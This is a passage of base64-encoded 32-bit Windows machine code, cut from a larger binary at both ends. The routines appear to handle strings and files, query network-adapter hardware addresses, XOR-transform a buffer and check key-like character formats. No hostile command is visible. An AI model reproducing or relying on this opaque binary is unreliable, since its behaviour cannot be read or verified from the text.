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EAPBg/oQcgSLDusCi847w3UEM8DrAivBi03MUWoBUIvO6Kry//+LlRD///+LQgTHhAUQ////DJNAAMdF/AYAAADHhSj///+MkkAA9oVo////AcZF/Ad0EYuNOP///4sBUOiYNQAAg8QEU1NTjY0o/////xXMkEAAi5U8////iRqLhUz///+JGIuNXP///4kZg6Vo/////o2NKP///4mdZP///8ZF/Ab/FXSQQACNjSj///+IXfz/FayQQACNjXD/////FcCQQABHO33ED4JB/v//i8aLTfRkiQ0AAAAAWV9bi03wM83o+DQAAIvlXcPMVYvsav9o6X1AAGShAAAAAFCB7GAEAAChsMJAADPFiUXsU1ZXUI1F9GSjAAAAAIll8ItNKImNlPv//zPbU2g6k0AAiV386DbY//++DwAAAIm15Pv//4md4Pv//4id0Pv//4tNHItFCL8QAAAAxkX8AjvPcwONRQgDRRg7z4tNCHMDjU0Ii5WU+///UlBRjY20+///ibXI+///iZ3E+///iJ20+///6Lb1///GRfwDOF0kdA2Nhez7//9QU1NqI+sLjY3s+///UVNTahpT/xUckkAAjYXs+///ibWs+///iZ2o+///iJ2Y+///jVABjUkAighAOst1+SvCUI2V7Pv//1KNjZj7///odNf//42FmPv//1CNjdD7///GRfwE6B76///GRfwDOb2s+///cg+LjZj7//9R6NQzAACDxARqAWg4k0AAjY3Q+///6HHv//+LhdD7//85veT7//9zBo2F0Pv//4s1XJFAAFD/1oPEBGoCaDSTQACNjdD7///oP+///2oCaDCTQACNjdD7///oLe///2oCaCyTQACNjdD7///oG+///2oDaCiTQACNjdD7///oCe///2oBaDiTQACNjdD7///o9+7//4uF0Pv//zm95Pv//3MGjYXQ+///UP/Wg8QEav9TjZW0+///Uo2N0Pv//+jY7f//agFoOJNAAI2N0Pv//+i27v//i4XQ+///Ob3k+///cwaNhdD7//9Q/9aDxARq/1ONhbT7//9QjY3Q+///6Jft//9qBGggk0AAjY3Q+///6HXu//85vcj7//9yD4uNtPv//1HorzIAAIPEBIuNlPv//2r/U42V0Pv//1LHRfwBAAAA6BLV//85veT7//9yD4uF0Pv//1DofDIAAIPEBMeF5Pv//w8AAACJneD7//+IndD7//85fRxyDItNCFHoVTIAAIPEBLAB6xu4hj9AAMONjdD7///oD9T//41NCOgH1P//MsCLTfRkiQ0AAAAAWV9eW4tN7DPN6AAyAACL5V3DzMzMzMzMzMzMVYvsav9ob35AAGShAAAAAFCB7NQAAAChsMJAADPFiUXsU1ZXUI1F9GSjAAAAAIll8ItNCIt9EDPbi8GJvST////HRawPAAAAiV2oiF2YjXABihBAOtN1+SvGUFGNTZjoHNX//4tFDFCD7ByLzImlIP///2r/iB+IXx6IX0CIX0qIX2iJXzxTjVWYiV38x0EUDwAAAIlZEFLGRfwBiBno7dP//+g4IgAAg8QgOsN1GYN9rBByDItFmFDoUDEAAIPEBDLA6RkEAABqAVNoPJNAAI1NmOhY5P//i/BqAY1OAVFoPJNAAI1NmOhD5P//i/hqAY1XAVJoPJNAAI1NmOgu5P//iYUg////agFAUGg8k0AAjU2Y6Bfk//+D/v91AjP2g///dQIz/4uNIP///4P5/3UIM8mJjSD///+D+P91AjPAO/N1Gzv7dRc7y3UTO8N1D41NmOiH0v//MsDpgQMAAFZTjYUo////UI1NmOi/8v//g708////EIuVKP///8ZF/AJzBo2VKP///4uNJP///4PBSooCiAFCQTrDdfaLzyvOSVFGVo2VYP///1KNTZjofPL//4O9dP///xCLlWD////GRfwDcwaNlWD///+LjST///+KAogBQkE6w3X2i7Ug////i8Yrx0hQR1eNjXz///9RjU2Y6Dby//+DfZAQi5V8////xkX8BHMGjZV8////i70k////jU8ejaQkAAAAAIoCiAFCQTrDdfaLVahSRlaNRdBQjU2Y6PTx//+LVdC+EAAAAMZF/AU5deRzA41V0I1PaIoCiAFCQTrDdfaLTeCDwfFRag+NVbRSjU3Q6L7x//+LVbTGRfwGOXXIcwONVbSNT0CKAogBQkE6w3X2i0XEg8D9UGoDjY1E////UY1NtOiK8f//OXAUcgKLAFD/FfyRQACDxASJRzw5tVj///9yD4uVRP///1LoQC8AAIPEBGoDU42FRP///1CNTbToTfH//4vwjU20O850XL8QAAAAOX3IcgyLVbRS6A8vAACDxATHRcgPAAAAiV3EiF20OX4UcxWLRhBAUI1FtFZQ/xUAkkAAg8QM6weLDolNtIkei1YQiVXEi0YUiUXIx0YUDwAAAIleEIgevhAAAADGRfwGObVY////cg+LjUT///9R6KkuAACDxASLVbQ5dchzA41VtIu9JP///41PQI1kJACKAogBQkE6w3X2ag9TjZVE////Uo1N0OiU8P//i/CNRdA7xnRZg33kEHIMi03QUehaLgAAg8QEx0XkDwAAAIld4Ihd0IN+FBBzFYtWEEJSjUXQVlD/FQCSQACDxAzrB4sOiU3QiR6LVhCJVeCLRhSJReTHRhQPAAAAiV4QiB6DvVj///8Qcg+LjUT///9R6PstAACDxASDfeQQi03QcwONTdCNV2iKAYgCQUI6w3X2vxAAAAA5fchyDItVtFLozC0AAIPEBL4PAAAAiXXIiV3EiF20OX3kcgyLRdBQ6K0tAACDxASJdeSJXeCIXdA5fZByD4uNfP///1HokC0AAIPEBIl1kIldjIidfP///zm9dP///3IPi5Vg////UuhtLQAAg8QEibV0////iZ1w////iJ1g////Ob08////cg+LhSj///9Q6EQtAACDxASDfawQcgyLTZhR6DItAACDxASwAYtN9GSJDQAAAABZX15bi03sM83o+iwAAIvlXcO4jURAAMPMzMzMzMzMzMzMzMzMVYvsav9o3X5AAGShAAAAAFCD7AhWV6GwwkAAM8VQjUX0ZKMAAAAAi/mJfewzwIlF8DlFFHQixwdIk0AAiw24kEAAiU9oixW8kEAAiVdoiUX8x0XwAQAAAFBQjXcQVovP/xXkkEAAiweLSATHBA9Ek0AAi87HRfwBAAAAiXUU/xWgkEAAMsCLzsZF/ALHBsySQACIRlCIRkn/FVSQQADHRlQAAAAAixUQw0AAiVZMx0ZEAAAAAItFEItNDItVCFCDyQFRUovOxkX8A+hx4v//hcB1EFCLB4tIBGoCA8//FSCRQACLx4tN9GSJDQAAAABZX16L5V3CEADMzMzMzMzMzFWL7Gr/aBV/QABkoQAAAABQg+wIVqGwwkAAM8VQjUX0ZKMAAAAAiU3wi0GYi1AEx0QKmESTQACNcajHRfwAAAAAiXXsxwbMkkAAg35UAMZF/AF0HotOEI1WSDkRdRSLVjyLRkCJEYtOIIkBi1YwK8CJAoB+UAB0B4vO6DHy//+LzsZF/AD/FXSQQACLRvCLSASLFeiQQACJVDHwi030ZIkNAAAAAFlei+Vdw8zMzMzMVo1xaIvO6EX///+hvJBAAIkGiw24kEAAVokO/xW0kEAAg8QEXsPMzMzMzMzMzMzMVYvsVleNeZiNd2iLzugO////obyQQACJBosNuJBAAFaJDv8VtJBAAIPEBPZFCAF0CVfo5yoAAIPEBIvHX15dwgQAzMzMzMzMzMzMzMzMzMxVi+xq/2h9f0AAZKEAAAAAUIHsUAYAAKGwwkAAM8WJRexTVldQjUX0ZKMAAAAAiWXwi0UMi30IM9uJhQT7//+IGIvHjVABighAhMl1+SvCdQiDyP/pyAcAAI2FbP///1Doa9f//7gPAAAAg8QEiYUs+///iZ0o+///iJ0Y+///iV38iYVk+///iZ1g+///xoVQ+///AI2NGPv//1FTg+wci8zGhWz7//8AiUEUi8eJWRDGRfwBiaUM+///xgEAjXABihBAhNJ1+SvGUFfob83//+jq9P//i4UY+///g8Qkg70s+///EHMGjYUY+///agFqQGohUI2NVPr//+jQ/P//xkX8AjmduPr//3RfagJTU42NVPr///8V9JBAAI2VOPv//1KNjVT6////FfCQQACLcAgDMFNTU42NVPr///8V9JBAAIvGmVJQjYVs+///UI2NVPr///8V7JBAAI2NVPr//+hq8P//6XYBAACNjRj7//9RagGD7ByLzIvHx0EUDwAAAIlZEImlDPv//8YBAI1wAYoQQITSdfkrxlBX6J/M///oGvT//4uFGPv//74QAAAAg8QkxkX8Azm1LPv//3MGjYUY+///agFqQGohUI2NpPn//+j4+///xkX8BDmdCPr//w+FhAAAAI2NDPr//8ZF/APo2fz//42NDPr///8VwJBAAI2NvPr//8ZF/AHovvz//42NvPr///8VwJBAADm1ZPv//3IPi5VQ+///UuicKAAAg8QEx4Vk+///DwAAAImdYPv//8aFUPv//wA5tSz7//8PgsQFAACLhRj7//9Q6GooAACDxATpsAUAAGoCU1ONjaT5////FfSQQACNjTj7//9RjY2k+f///xXwkEAAi3AIAzBTU1ONjaT5////FfSQQACLxplSUI2VbPv//1KNjaT5////FeyQQACNjaT5///oCu///42NDPr//8ZF/APo+/v//42NDPr///8VwJBAAMdF/AIAAACB/oIAAAB9b42NvPr//8ZF/AHo0fv//42NvPr///8VwJBAAL4QAAAAObVk+///cg+LhVD7//9Q6KonAACDxATHhWT7//8PAAAAiZ1g+///xoVQ+///ADm1LPv//3IPi40Y+///Ueh8JwAAg8QEuPz////pwgQAAFaNlWz7//9SjY00+///x4VI+///DwAAAImdRPv//8aFNPv//wDot8r//42FNPv//1CNjVD7///GRfwG6GHt//+DvUj7//8QxkX8AnIPi400+///UegWJwAAg8QEjZVQ+///Uo21NPv//+ij7///g8QEUI2NUPv//8ZF/AfoIO3//4O9SPv//xDGRfwCcg+LhTT7//9Q6NUmAACDxASKF4pfATPJOY1g+///djbrA41JAIO9ZPv//xCLhVD7//9zBo2FUPv//zAUCA+2wg+vwI1EQAoPtvOZQff+O41g+///cs+LtWT7//+LvVD7///GhRP7//8Ax4UM+///AAAAAIv/x4UI+///AAAAAI2bAAAAADPbiZ0U+///i8+D/hBzBo2NUPv//4uFDPv//4uVCPv//40EQAPAigwBjRRSA9I6jBVs////dQW7AQAAAIvPg/4QcwaNjVD7//+APAEAdQrHhRT7//8BAAAAi8+D/hBzBo2NUPv//4pMAQE6jBVt////dQFDi8+D/hBzBo2NUPv//4B8AQEAdQb/hRT7//+Lz4P+EHMGjY1Q+///ikwBAjqMFW7///91AUOLz4P+EHMGjY1Q+///gHwBAgB1Bv+FFPv//4vPg/4QcwaNjVD7//+KTAEDOowVb////3UBQ4vPg/4QcwaNjVD7//+AfAEDAHUG/4UU+///i8+D/hBzBo2NUPv//4pMAQQ6jBVw////dQFDi8+D/hBzBo2NUPv//4B8AQQAdQb/hRT7//+Lz4P+EHMGjY1Q+///ikwBBTqMFXH///91AUOLz4P+EHMGjY1Q+///gHwBBQB1Bv+FFPv//4P7BnUIOZ0U+///dRiLhQj7//9AiYUI+///g/gKD4x7/v//6wfGhRP7//8Bi4UM+///QImFDPv//4P4Cg+MTP7//4C9E/v//wB1c42NvPr//8ZF/AHopPj//42NvPr///8VwJBAAL4QAAAAObVk+///cg+LlVD7//9S6H0kAACDxATHhWT7//8PAAAAx4Vg+///AAAAAMaFUPv//wA5tSz7//9yD4uFGPv//1DoSyQAAIPEBLj+////6ZEBAACLx4P+EHMGjYVQ+///i41g+///A8iLx4P+EHMGjYVQ+///i5UE+///UlGDwDy+DwAAADP/UI2NNPv//4m1SPv//4m9RPv//8aFNPv//wDoPeX//7sQAAAAxkX8CDmdZPv//3IPi4VQ+///UOjOIwAAg8QEi4VI+///ibVk+///ib1g+///xoVQ+///ADvDcyeLhUT7//9AUI2NNPv//1GNlVD7//9S/xUAkkAAi4VI+///g8QM6wyLjTT7//+JjVD7//+LlUT7//+LjVD7//+JlWD7//+JhWT7//87w3MGjY1Q+///i5UE+///6wONSQCKAYgCQUKEwHX2jY28+v//xkX8Aeg39///jY28+v///xXAkEAAOZ1k+///cg+LhVD7//9Q6BUjAACDxASJtWT7//+JvWD7///GhVD7//8AOZ0s+///cg+LjRj7//9R6OsiAACDxAQzwOs3x0X8AgAAALj3TkAAw42NVPr//8ZF/AHoevf//42NUPv//+iPxP//jY0Y+///6ITE//+4/f///4tN9GSJDQAAAABZX15bi03sM83oeiIAAIvlXcPMzMxVi+xRVos1ZJFAAFdoiAIAAMdF/IgCAAD/1ov4g8QEhf91CV+DyP9ei+Vdw41F/FBX6GQsAACD+G91Flf/FWCRQACLTfxR/9aL+IPECIX/dNKNVfxSVzP26D0sAACFwHU7i8eF/3RDi00IjZsAAAAAg/48fSeDuKABAAAGdRiLkJQBAACJFA5mi5CYAQAAZolUDgSDxgaLAIXAddSF/3QKV/8VYJFAAIPEBF8zwF6L5V3DzMzMzMzMzMzMzMzMzMxVi+xWi3UIajxqAFbosyQAAFboKf///4PEEF5dw8zMzFWL7ItNCIvBJQEAAIB5BUiDyP5Ai0UMdRwDRRCLVRQDVRgLwTPCD69FHA+vRSAl/wAAAF3DD69FEANFFANFGANFHANFIAvBJf8PAABdw8zMuAEAAADDzMzMzMzMzMzMzFWL7FeLfRiD/wQPgo0AAACLVRxWi3UIM8mNpCQAAAAAi8aD+hBzA41FCIA8CEF8WYvGg/oQcwONRQiAPAhaf0lBg/kDctq4AwAAADv4diaQi86D+hBzA41NCIA8ATB8KYvOg/oQcwON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JP///4mdRP///+jd+v//g8QEg32sBsdF/AEAAABzJIu1QP///1PHRhQPAAAAiV4QaDqTQACLzoge6I65///pQwIAAItNsItFnIvQg/kQcwONVZwPvhKD6jCJlTz///+L0IP5EHMDjVWcD75SAYPqMImVKP///4vQg/kQcwONVZwPvlICg+owiZUw////i9CD+RBzA41VnA++UgOD6jCJlTj///+L0IP5EHMDjVWcD75SBIPqMImVLP///4P5EHMDjUWcD75wBWoQaHSTQACNTbiD7jDHRcwPAAAAiV3IiF246Oa4//+LjSD///9q/40E/QAAAAArx41UgeRTUo1N1MZF/ALHRegPAAAAiV3kiF3U6Ma3//+LhSz///+LjTj///+LlTD///9WUIuFKP///1GLjTz///9Si1UQUIuFNP///1GLTLj8UsZF/AP/0YPEHDhdGHQpi40k////jVW4UlCNvWT////o8Pz//4PECMZF/ATHhUT///8CAAAA6yBQjbVI////6GH5//+DxATHRfwFAAAAx4VE////BAAAAL8PAAAAUI1NgIl9lIldkIhdgOjW2v//x0X8BgAAAPaFRP///wR0MYOlRP////uDvVz///8Qcg+LhUj///9Q6HgUAACDxASJvVz///+JnVj///+InUj////2hUT///8CxkX8CHQxg6VE/////YO9eP///xByD4uNZP///1HoOhQAAIPEBIm9eP///4mddP///4idZP///4u1QP///41VgIl+FIleEFKLzoge6D7a//+DjUT///8Bg32UEHIMi0WAUOj2EwAAg8QEaKATQABqAmocjU24UYl9lIldkIhdgMZF/AHoTBcAAIN9sBByDItVnFLoxRMAAIPEBIvGi030ZIkNAAAAAFlfXluLTfAzzeiNEwAAi+Vdw8zMzMzMzFWL7Gr/aJCBQABkoQAAAABQg+xQobDCQAAzxYlF8FNXUI1F9GSjAAAAAItFCGoBiUWki0UMagCJTaxoPJNAAIvOiVWwiUWo6HTG//+L+GoBjU8BUWg8k0AAi87oYMb//4vYagGNUwFSaDyTQACLzuhMxv//iUW0agFAUGg8k0AAi87oOcb//4P//3UCM/+D+/91AjPbg320/3UHx0W0AAAAAIP4/3UCM8CF/3UUhdt1EDldtHULhcB1BzLA6eoAAABXagCNRdRQi87o8dT//4tNpFDHRfwAAAAA6PHY//+DfegQx0X8/////3IMi03UUeipEgAAg8QEi9Mr10pSR1eNRdRQi87otdT//4tNrFDHRfwBAAAA6LXY//+DfegQx0X8/////3IMi03UUehtEgAAg8QEi320i9cr00pSQ1ONRdRQi87odtT//4tNsFDHRfwCAAAA6HbY//+7EAAAAMdF/P////85XehyDItN1FHoKhIAAIPEBItGEFBHV41VuFKLzug41P//i02oUMdF/AMAAADoONj//zldzHIMi0W4UOj4EQAAg8QEsAGLTfRkiQ0AAAAAWV9bi03wM83owREAAIvlXcPMzMzMzMzMzMzMVYvsav9o64FAAGShAAAAAFCD7EShsMJAADPFiUXwU1ZXUI1F9GSjAAAAAIt1GDPbiV38g/4KD4PbAAAAjWQkAGoBaFCTQACNTdTHRegPAAAAiV3kiF3U6OS0//+NRQhQjU3UUY1VuFLGRfwB6D/1//+DxAyL8I1FCL8QAAAAO8Z0Vzl9HHIMi00IUeg+EQAAg8QEx0UcDwAAAIldGIhdCDl+FHMVi0YQQFCNVQhWUv8VAJJAAIPEDOsHiwaJRQiJHotOEIlNGItWFIlVHMdGFA8AAACJXhCIHjl9zHIMi0W4UOjnEAAAg8QEx0XMDwAAAIldyIhduIhd/Dl96HIMi03UUejGEAAAg8QEi3UYg/4KD4Ip////M8mLxrocAAAA9+IPkMH32QvIM8CDwQQPksD32AvBUOhtEAAAg8QEiUWwxkX8AzvDd